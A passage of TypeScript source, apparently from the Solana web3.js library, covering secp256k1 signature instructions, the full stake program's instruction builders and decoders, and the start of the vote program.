CreateSecp256k1InstructionWithEthAddressParams,\n ): TransactionInstruction {\n const {\n ethAddress: rawAddress,\n message,\n signature,\n recoveryId,\n instructionIndex = 0,\n } = params;\n\n let ethAddress;\n if (typeof rawAddress === 'string') {\n if (rawAddress.startsWith('0x')) {\n ethAddress = Buffer.from(rawAddress.substr(2), 'hex');\n } else {\n ethAddress = Buffer.from(rawAddress, 'hex');\n }\n } else {\n ethAddress = rawAddress;\n }\n\n assert(\n ethAddress.length === ETHEREUM_ADDRESS_BYTES,\n `Address must be ${ETHEREUM_ADDRESS_BYTES} bytes but received ${ethAddress.length} bytes`,\n );\n\n const dataStart = 1 + SIGNATURE_OFFSETS_SERIALIZED_SIZE;\n const ethAddressOffset = dataStart;\n const signatureOffset = dataStart + ethAddress.length;\n const messageDataOffset = signatureOffset + signature.length + 1;\n const numSignatures = 1;\n\n const instructionData = Buffer.alloc(\n SECP256K1_INSTRUCTION_LAYOUT.span + message.length,\n );\n\n SECP256K1_INSTRUCTION_LAYOUT.encode(\n {\n numSignatures,\n signatureOffset,\n signatureInstructionIndex: instructionIndex,\n ethAddressOffset,\n ethAddressInstructionIndex: instructionIndex,\n messageDataOffset,\n messageDataSize: message.length,\n messageInstructionIndex: instructionIndex,\n signature: toBuffer(signature),\n ethAddress: toBuffer(ethAddress),\n recoveryId,\n },\n instructionData,\n );\n\n instructionData.fill(toBuffer(message), SECP256K1_INSTRUCTION_LAYOUT.span);\n\n return new TransactionInstruction({\n keys: [],\n programId: Secp256k1Program.programId,\n data: instructionData,\n });\n }\n\n /**\n * Create an secp256k1 instruction with a private key. The private key\n * must be a buffer that is 32 bytes long.\n */\n static createInstructionWithPrivateKey(\n params: CreateSecp256k1InstructionWithPrivateKeyParams,\n ): TransactionInstruction {\n const {privateKey: pkey, message, instructionIndex} = params;\n\n assert(\n pkey.length === PRIVATE_KEY_BYTES,\n `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${pkey.length} bytes`,\n );\n\n try {\n const privateKey = toBuffer(pkey);\n const publicKey = publicKeyCreate(\n privateKey,\n false /* isCompressed */,\n ).slice(1); // throw away leading byte\n const messageHash = Buffer.from(keccak_256(toBuffer(message)));\n const [signature, recoveryId] = ecdsaSign(messageHash, privateKey);\n\n return this.createInstructionWithPublicKey({\n publicKey,\n message,\n signature,\n recoveryId,\n instructionIndex,\n });\n } catch (error) {\n throw new Error(`Error creating instruction; ${error}`);\n }\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {PublicKey} from '../publickey';\nimport {SystemProgram} from './system';\nimport {\n SYSVAR_CLOCK_PUBKEY,\n SYSVAR_RENT_PUBKEY,\n SYSVAR_STAKE_HISTORY_PUBKEY,\n} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\n\n/**\n * Address of the stake config account which configures the rate\n * of stake warmup and cooldown as well as the slashing penalty.\n */\nexport const STAKE_CONFIG_ID = new PublicKey(\n 'StakeConfig11111111111111111111111111111111',\n);\n\n/**\n * Stake account authority info\n */\nexport class Authorized {\n /** stake authority */\n staker: PublicKey;\n /** withdraw authority */\n withdrawer: PublicKey;\n\n /**\n * Create a new Authorized object\n * @param staker the stake authority\n * @param withdrawer the withdraw authority\n */\n constructor(staker: PublicKey, withdrawer: PublicKey) {\n this.staker = staker;\n this.withdrawer = withdrawer;\n }\n}\n\ntype AuthorizedRaw = Readonly<{\n staker: Uint8Array;\n withdrawer: Uint8Array;\n}>;\n\n/**\n * Stake account lockup info\n */\nexport class Lockup {\n /** Unix timestamp of lockup expiration */\n unixTimestamp: number;\n /** Epoch of lockup expiration */\n epoch: number;\n /** Lockup custodian authority */\n custodian: PublicKey;\n\n /**\n * Create a new Lockup object\n */\n constructor(unixTimestamp: number, epoch: number, custodian: PublicKey) {\n this.unixTimestamp = unixTimestamp;\n this.epoch = epoch;\n this.custodian = custodian;\n }\n\n /**\n * Default, inactive Lockup value\n */\n static default: Lockup = new Lockup(0, 0, PublicKey.default);\n}\n\ntype LockupRaw = Readonly<{\n custodian: Uint8Array;\n epoch: number;\n unixTimestamp: number;\n}>;\n\n/**\n * Create stake account transaction params\n */\nexport type CreateStakeAccountParams = {\n /** Address of the account which will fund creation */\n fromPubkey: PublicKey;\n /** Address of the new stake account */\n stakePubkey: PublicKey;\n /** Authorities of the new stake account */\n authorized: Authorized;\n /** Lockup of the new stake account */\n lockup?: Lockup;\n /** Funding amount */\n lamports: number;\n};\n\n/**\n * Create stake account with seed transaction params\n */\nexport type CreateStakeAccountWithSeedParams = {\n fromPubkey: PublicKey;\n stakePubkey: PublicKey;\n basePubkey: PublicKey;\n seed: string;\n authorized: Authorized;\n lockup?: Lockup;\n lamports: number;\n};\n\n/**\n * Initialize stake instruction params\n */\nexport type InitializeStakeParams = {\n stakePubkey: PublicKey;\n authorized: Authorized;\n lockup?: Lockup;\n};\n\n/**\n * Delegate stake instruction params\n */\nexport type DelegateStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n votePubkey: PublicKey;\n};\n\n/**\n * Authorize stake instruction params\n */\nexport type AuthorizeStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n newAuthorizedPubkey: PublicKey;\n stakeAuthorizationType: StakeAuthorizationType;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Authorize stake instruction params using a derived key\n */\nexport type AuthorizeWithSeedStakeParams = {\n stakePubkey: PublicKey;\n authorityBase: PublicKey;\n authoritySeed: string;\n authorityOwner: PublicKey;\n newAuthorizedPubkey: PublicKey;\n stakeAuthorizationType: StakeAuthorizationType;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Split stake instruction params\n */\nexport type SplitStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n splitStakePubkey: PublicKey;\n lamports: number;\n};\n\n/**\n * Split with seed transaction params\n */\nexport type SplitStakeWithSeedParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n splitStakePubkey: PublicKey;\n basePubkey: PublicKey;\n seed: string;\n lamports: number;\n};\n\n/**\n * Withdraw stake instruction params\n */\nexport type WithdrawStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n toPubkey: PublicKey;\n lamports: number;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Deactivate stake instruction params\n */\nexport type DeactivateStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Merge stake instruction params\n */\nexport type MergeStakeParams = {\n stakePubkey: PublicKey;\n sourceStakePubKey: PublicKey;\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Stake Instruction class\n */\nexport class StakeInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a stake instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): StakeInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: StakeInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(STAKE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as StakeInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a StakeInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode a initialize stake instruction and retrieve the instruction params.\n */\n static decodeInitialize(\n instruction: TransactionInstruction,\n ): InitializeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {authorized, lockup} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Initialize,\n instruction.data,\n );\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n authorized: new Authorized(\n new PublicKey(authorized.staker),\n new PublicKey(authorized.withdrawer),\n ),\n lockup: new Lockup(\n lockup.unixTimestamp,\n lockup.epoch,\n new PublicKey(lockup.custodian),\n ),\n };\n }\n\n /**\n * Decode a delegate stake instruction and retrieve the instruction params.\n */\n static decodeDelegate(\n instruction: TransactionInstruction,\n ): DelegateStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 6);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Delegate, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n votePubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[5].pubkey,\n };\n }\n\n /**\n * Decode an authorize stake instruction and retrieve the instruction params.\n */\n static decodeAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n const {newAuthorized, stakeAuthorizationType} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Authorize,\n instruction.data,\n );\n\n const o: AuthorizeStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n stakeAuthorizationType: {\n index: stakeAuthorizationType,\n },\n };\n if (instruction.keys.length > 3) {\n o.custodianPubkey = instruction.keys[3].pubkey;\n }\n return o;\n }\n\n /**\n * Decode an authorize-with-seed stake instruction and retrieve the instruction params.\n */\n static decodeAuthorizeWithSeed(\n instruction: TransactionInstruction,\n ): AuthorizeWithSeedStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {\n newAuthorized,\n stakeAuthorizationType,\n authoritySeed,\n authorityOwner,\n } = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed,\n instruction.data,\n );\n\n const o: AuthorizeWithSeedStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n authorityBase: instruction.keys[1].pubkey,\n authoritySeed: authoritySeed,\n authorityOwner: new PublicKey(authorityOwner),\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n stakeAuthorizationType: {\n index: stakeAuthorizationType,\n },\n };\n if (instruction.keys.length > 3) {\n o.custodianPubkey = instruction.keys[3].pubkey;\n }\n return o;\n }\n\n /**\n * Decode a split stake instruction and retrieve the instruction params.\n */\n static decodeSplit(instruction: TransactionInstruction): SplitStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n const {lamports} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Split,\n instruction.data,\n );\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n splitStakePubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a merge stake instruction and retrieve the instruction params.\n */\n static decodeMerge(instruction: TransactionInstruction): MergeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Merge, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n sourceStakePubKey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n };\n }\n\n /**\n * Decode a withdraw stake instruction and retrieve the instruction params.\n */\n static decodeWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 5);\n const {lamports} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Withdraw,\n instruction.data,\n );\n\n const o: WithdrawStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n lamports,\n };\n if (instruction.keys.length > 5) {\n o.custodianPubkey = instruction.keys[5].pubkey;\n }\n return o;\n }\n\n /**\n * Decode a deactivate stake instruction and retrieve the instruction params.\n */\n static decodeDeactivate(\n instruction: TransactionInstruction,\n ): DeactivateStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Deactivate, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(StakeProgram.programId)) {\n throw new Error('invalid instruction; programId is not StakeProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid StakeInstructionType's\n */\nexport type StakeInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof StakeInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'Authorize'\n | 'AuthorizeWithSeed'\n | 'Deactivate'\n | 'Delegate'\n | 'Initialize'\n | 'Merge'\n | 'Split'\n | 'Withdraw';\n\ntype StakeInstructionInputData = {\n Authorize: IInstructionInputData &\n Readonly<{\n newAuthorized: Uint8Array;\n stakeAuthorizationType: number;\n }>;\n AuthorizeWithSeed: IInstructionInputData &\n Readonly<{\n authorityOwner: Uint8Array;\n authoritySeed: string;\n instruction: number;\n newAuthorized: Uint8Array;\n stakeAuthorizationType: number;\n }>;\n Deactivate: IInstructionInputData;\n Delegate: IInstructionInputData;\n Initialize: IInstructionInputData &\n Readonly<{\n authorized: AuthorizedRaw;\n lockup: LockupRaw;\n }>;\n Merge: IInstructionInputData;\n Split: IInstructionInputData &\n Readonly<{\n lamports: number;\n }>;\n Withdraw: IInstructionInputData &\n Readonly<{\n lamports: number;\n }>;\n};\n\n/**\n * An enumeration of valid stake InstructionType's\n * @internal\n */\nexport const STAKE_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in StakeInstructionType]: InstructionType<\n StakeInstructionInputData[Instruction]\n >;\n}>({\n Initialize: {\n index: 0,\n layout: BufferLayout.struct<StakeInstructionInputData['Initialize']>([\n BufferLayout.u32('instruction'),\n Layout.authorized(),\n Layout.lockup(),\n ]),\n },\n Authorize: {\n index: 1,\n layout: BufferLayout.struct<StakeInstructionInputData['Authorize']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('stakeAuthorizationType'),\n ]),\n },\n Delegate: {\n index: 2,\n layout: BufferLayout.struct<StakeInstructionInputData['Delegate']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n Split: {\n index: 3,\n layout: BufferLayout.struct<StakeInstructionInputData['Split']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n Withdraw: {\n index: 4,\n layout: BufferLayout.struct<StakeInstructionInputData['Withdraw']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n Deactivate: {\n index: 5,\n layout: BufferLayout.struct<StakeInstructionInputData['Deactivate']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n Merge: {\n index: 7,\n layout: BufferLayout.struct<StakeInstructionInputData['Merge']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n AuthorizeWithSeed: {\n index: 8,\n layout: BufferLayout.struct<StakeInstructionInputData['AuthorizeWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('stakeAuthorizationType'),\n Layout.rustString('authoritySeed'),\n Layout.publicKey('authorityOwner'),\n ],\n ),\n },\n});\n\n/**\n * Stake authorization type\n */\nexport type StakeAuthorizationType = {\n /** The Stake Authorization index (from solana-stake-program) */\n index: number;\n};\n\n/**\n * An enumeration of valid StakeAuthorizationLayout's\n */\nexport const StakeAuthorizationLayout = Object.freeze({\n Staker: {\n index: 0,\n },\n Withdrawer: {\n index: 1,\n },\n});\n\n/**\n * Factory class for transactions to interact with the Stake program\n */\nexport class StakeProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Stake program\n */\n static programId: PublicKey = new PublicKey(\n 'Stake11111111111111111111111111111111111111',\n );\n\n /**\n * Max space of a Stake account\n *\n * This is generated from the solana-stake-program StakeState struct as\n * `StakeStateV2::size_of()`:\n * https://docs.rs/solana-stake-program/latest/solana_stake_program/stake_state/enum.StakeStateV2.html\n */\n static space: number = 200;\n\n /**\n * Generate an Initialize instruction to add to a Stake Create transaction\n */\n static initialize(params: InitializeStakeParams): TransactionInstruction {\n const {stakePubkey, authorized, lockup: maybeLockup} = params;\n const lockup: Lockup = maybeLockup || Lockup.default;\n const type = STAKE_INSTRUCTION_LAYOUTS.Initialize;\n const data = encodeData(type, {\n authorized: {\n staker: toBuffer(authorized.staker.toBuffer()),\n withdrawer: toBuffer(authorized.withdrawer.toBuffer()),\n },\n lockup: {\n unixTimestamp: lockup.unixTimestamp,\n epoch: lockup.epoch,\n custodian: toBuffer(lockup.custodian.toBuffer()),\n },\n });\n const instructionData = {\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a Transaction that creates a new Stake account at\n * an address generated with `from`, a seed, and the Stake programId\n */\n static createAccountWithSeed(\n params: CreateStakeAccountWithSeedParams,\n ): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccountWithSeed({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.stakePubkey,\n basePubkey: params.basePubkey,\n seed: params.seed,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n const {stakePubkey, authorized, lockup} = params;\n return transaction.add(this.initialize({stakePubkey, authorized, lockup}));\n }\n\n /**\n * Generate a Transaction that creates a new Stake account\n */\n static createAccount(params: CreateStakeAccountParams): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.stakePubkey,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n const {stakePubkey, authorized, lockup} = params;\n return transaction.add(this.initialize({stakePubkey, authorized, lockup}));\n }\n\n /**\n * Generate a Transaction that delegates Stake tokens to a validator\n * Vote PublicKey. This transaction can also be used to redelegate Stake\n * to a new validator Vote PublicKey.\n */\n static delegate(params: DelegateStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey, votePubkey} = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.Delegate;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: votePubkey, isSigner: false, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: STAKE_CONFIG_ID, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that authorizes a new PublicKey as Staker\n * or Withdrawer on the Stake account.\n */\n static authorize(params: AuthorizeStakeParams): Transaction {\n const {\n stakePubkey,\n authorizedPubkey,\n newAuthorizedPubkey,\n stakeAuthorizationType,\n custodianPubkey,\n } = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.Authorize;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n stakeAuthorizationType: stakeAuthorizationType.index,\n });\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: true},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that authorizes a new PublicKey as Staker\n * or Withdrawer on the Stake account.\n */\n static authorizeWithSeed(params: AuthorizeWithSeedStakeParams): Transaction {\n const {\n stakePubkey,\n authorityBase,\n authoritySeed,\n authorityOwner,\n newAuthorizedPubkey,\n stakeAuthorizationType,\n custodianPubkey,\n } = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n stakeAuthorizationType: stakeAuthorizationType.index,\n authoritySeed: authoritySeed,\n authorityOwner: toBuffer(authorityOwner.toBuffer()),\n });\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: authorityBase, isSigner: true, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * @internal\n */\n static splitInstruction(params: SplitStakeParams): TransactionInstruction {\n const {stakePubkey, authorizedPubkey, splitStakePubkey, lamports} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Split;\n const data = encodeData(type, {lamports});\n return new TransactionInstruction({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: splitStakePubkey, isSigner: false, isWritable: true},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that splits Stake tokens into another stake account\n */\n static split(\n params: SplitStakeParams,\n // Compute the cost of allocating the new stake account in lamports\n rentExemptReserve: number,\n ): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.authorizedPubkey,\n newAccountPubkey: params.splitStakePubkey,\n lamports: rentExemptReserve,\n space: this.space,\n programId: this.programId,\n }),\n );\n return transaction.add(this.splitInstruction(params));\n }\n\n /**\n * Generate a Transaction that splits Stake tokens into another account\n * derived from a base public key and seed\n */\n static splitWithSeed(\n params: SplitStakeWithSeedParams,\n // If this stake account is new, compute the cost of allocating it in lamports\n rentExemptReserve?: number,\n ): Transaction {\n const {\n stakePubkey,\n authorizedPubkey,\n splitStakePubkey,\n basePubkey,\n seed,\n lamports,\n } = params;\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.allocate({\n accountPubkey: splitStakePubkey,\n basePubkey,\n seed,\n space: this.space,\n programId: this.programId,\n }),\n );\n if (rentExemptReserve && rentExemptReserve > 0) {\n transaction.add(\n SystemProgram.transfer({\n fromPubkey: params.authorizedPubkey,\n toPubkey: splitStakePubkey,\n lamports: rentExemptReserve,\n }),\n );\n }\n return transaction.add(\n this.splitInstruction({\n stakePubkey,\n authorizedPubkey,\n splitStakePubkey,\n lamports,\n }),\n );\n }\n\n /**\n * Generate a Transaction that merges Stake accounts.\n */\n static merge(params: MergeStakeParams): Transaction {\n const {stakePubkey, sourceStakePubKey, authorizedPubkey} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Merge;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: sourceStakePubKey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that withdraws deactivated Stake tokens.\n */\n static withdraw(params: WithdrawStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey, toPubkey, lamports, custodianPubkey} =\n params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Withdraw;\n const data = encodeData(type, {lamports});\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: toPubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that deactivates Stake tokens.\n */\n static deactivate(params: DeactivateStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Deactivate;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {PublicKey} from '../publickey';\nimport {SystemProgram} from './system';\nimport {SYSVAR_CLOCK_PUBKEY, SYSVAR_RENT_PUBKEY} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\n\n/**\n * Vote account info\n */\nexport class VoteInit {\n nodePubkey: PublicKey;\n authorizedVoter: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number; /** [0, 100] */\n\n constructor(\n nodePubkey: PublicKey,\n authorizedVoter: PublicKey,\n authorizedWithdrawer: PublicKey,\n commission: number,\n ) {\n this.nodePubkey = nodePubkey;\n this.authorizedVoter = authorizedVoter;\n this.authorizedWithdrawer = authorizedWithdrawer;\n this.commission = commission;\n }\n}\n\n/**\n * Create vote account transaction params\n */\nexport type CreateVoteAccountParams = {\n fromPubkey: PublicKey;\n votePubkey: PublicKey;\n voteInit: VoteInit;\n lamports: number;\n};\n\n/**\n * InitializeAccount instruction params\n */\nexport type InitializeAccountParams = {\n votePubkey: PublicKey;\n nodePubkey: PublicKey;\n voteInit: VoteInit;\n};\n\n/**\n * Authorize instruction params\n */\nexport type AuthorizeVoteParams = {\n votePubkey: PublicKey;\n /** Current vote or withdraw authority, depending on `voteAuthorizationType` */\n authorizedPubkey: PublicKey;\n newAuthorizedPubkey: PublicKey;\n voteAuthorizationType: VoteAuthorizationType;\n};\n\n/**\n * AuthorizeWithSeed instruction params\n */\nexport type AuthorizeVoteWithSeedParams = {\n currentAuthorityDerivedKeyBasePubkey: PublicKey;\n currentAuthorityDerivedKeyOwnerPubkey: PublicKey;\n currentAuthorityDerivedKeySeed: string;\n newAuthorizedPubkey: PublicKey;\n voteAuthorizationType: VoteAuthorizationType;\n votePubkey: PublicKey;\n};\n\n/**\n * Withdraw from vote account transaction params\n */\nexport type WithdrawFromVoteAccountParams = {\n votePubkey: PublicKey;\n authorizedWithdrawerPubkey: PublicKey;\n lamports: number;\n toPubkey: PublicKey;\n};\n\n/**\n * Update validator identity (node pubkey) vote account instruction params.\n */\nexport type UpdateValidatorIdentityParams = {\n votePubkey: PublicKey;\n authorizedWithdrawerPubkey: PublicKey;\n nodePubkey: PublicKey;\n};\n\n/**\n * Vote Instruction class\n */\nexport class VoteInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a vote instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): VoteInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: VoteInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(VOTE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as VoteInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a VoteInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode an initialize vote instruction and retrieve the instruction params.\n */\n static decodeInitializeAccount(\n instruction: TransactionInstruction,\n ): InitializeAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 4);\n\n const {voteInit} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.InitializeAccount,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n nodePubkey: instruction.keys[3].pubkey,\n voteInit: new VoteInit(\n new PublicKey(voteInit.nodePubkey),\n new PublicKey(voteInit.authorizedVoter),\n new PublicKey(voteInit.authorizedWithdrawer),\n voteInit.commission,\n ),\n };\n }\n\n /**\n * Decode an authorize instruction and retrieve the instruction params.\n */\n static decodeAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeVoteParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {newAuthorized, voteAuthorizationType} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.Authorize,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n voteAuthorizationType: {\n index: voteAuthorizationType,\n },\n };\n }\n\n /**\n * Decode an authorize instruction and retrieve the instruction params.\n */\n static decodeAuthorizeWithSeed(\n instruction: TransactionInstruction,\n ): 